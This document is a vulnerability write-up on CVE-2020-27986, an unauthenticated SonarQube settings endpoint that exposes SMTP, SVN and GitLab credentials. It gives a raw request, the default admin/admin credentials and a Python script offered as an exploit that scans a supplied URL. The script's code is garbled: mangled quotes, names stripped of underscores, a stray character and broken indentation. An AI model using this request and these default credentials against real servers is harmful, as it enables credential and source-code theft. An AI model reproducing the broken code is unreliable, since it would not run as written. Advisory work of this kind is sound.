0x01 Overview of the Affected Product

SonarQube is an open-source static code quality analysis and management tool. It supports more than 27 widely used programming languages, including Java, Python, PHP, JavaScript, and CSS. It can also be easily integrated with various IDEs and services such as Jenkins and Git, enabling users to promptly view code quality analysis reports. The tool has received 6.3K stars from the GitHub open-source community, is highly influential worldwide, and is popular among software development professionals around the globe.

0x02 Vulnerability Description

SonarQube is an open-source static code quality analysis and management tool. Under its default configuration, access controls are missing from an API endpoint. Attackers can exploit this vulnerability to access the api/settings/values endpoint without authorization and obtain SMTP, SVN, and GitLab credentials. They may then gain access to source code repositories, resulting in the disclosure of project source code. Attackers can also target users who retain the default username and password. After installation, the default weak credentials are admin/admin. By entering these default credentials, an attacker can likewise obtain sensitive configuration information and subsequently steal an organization’s source code.

0x03 Affected Versions

The affected SonarQube versions are as follows:

SonarQube Version	Affected
<8.6	Yes
>=8,6	No

0x04 Vulnerability Verification

Simply access the GET URL directly without authorization.``` GET /api/settings/values HTTP/1.1 Host: 127.0.0.1:9000 User-Agent: python-requests/2.26.0 Accept-Encoding: gzip, deflate Accept: / Connection: close

![image-20211129105637462](/images/73ed19f0832d098e1fadec7c86744e6b.png)

本系统常见的默认口令是 admin/admin

The vulnerability is only harmful when sensitive information is exposed. If certain settings have not been configured, the impact is limited.

For example, an SMTP key may be present.

![image-20211129110309056](/images/0ab34a3987898ea588eb48160fc2be5e.png)

# 0x05 Vulnerability Exploit EXP

author: Zeo

python: 3.7

datetime:2021/11/25 3:40 下午

software: PyCharm

“”” 文件说明： “””

import requests import argparse import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class EXP(): def init(self, args): self.name = ‘’‘CVE-2020-27986 SonarQube api 未授权访问’‘’ self.url = args.url self.res = “”

def _attack(self):
    path = '/api/settings/values'
    try:
        resp = requests.get(self.url+path, timeout=10, verify=False)
        if resp.status_code == 200  and 'application/json' in resp.headers['Content-Type'] and 'sonaranalyzer-cs.nuget.packageVersion' in resp.text and 'sonar.core.id' in resp.text:
            self.res = "存在漏洞!"
        else:
            self.res = "不存在漏洞!"
    except requests.exceptions.RequestException as e:
        print("目标连接错误....")

def parseArgs(): parser = argparse.ArgumentParser(description=“[Exp]!”,formatter_class=argparse.RawDescriptionHelpFormatter) group = parser.add_mutually_exclusive_group() group.add_argument(“-u”, ‘–url’, help=“URL to scan; -u http://example.com”) args = parser.parse_args()

return args

def output(exp):

# print(f"Name {exp.name}")
print(f"URL {exp.url}")
print(f"RES {exp.res}")

if name == “main”: args = parseArgs() z exp = EXP(args) try: exp._attack() except Exception as e: print(e) exp.res = “Error”

output(exp)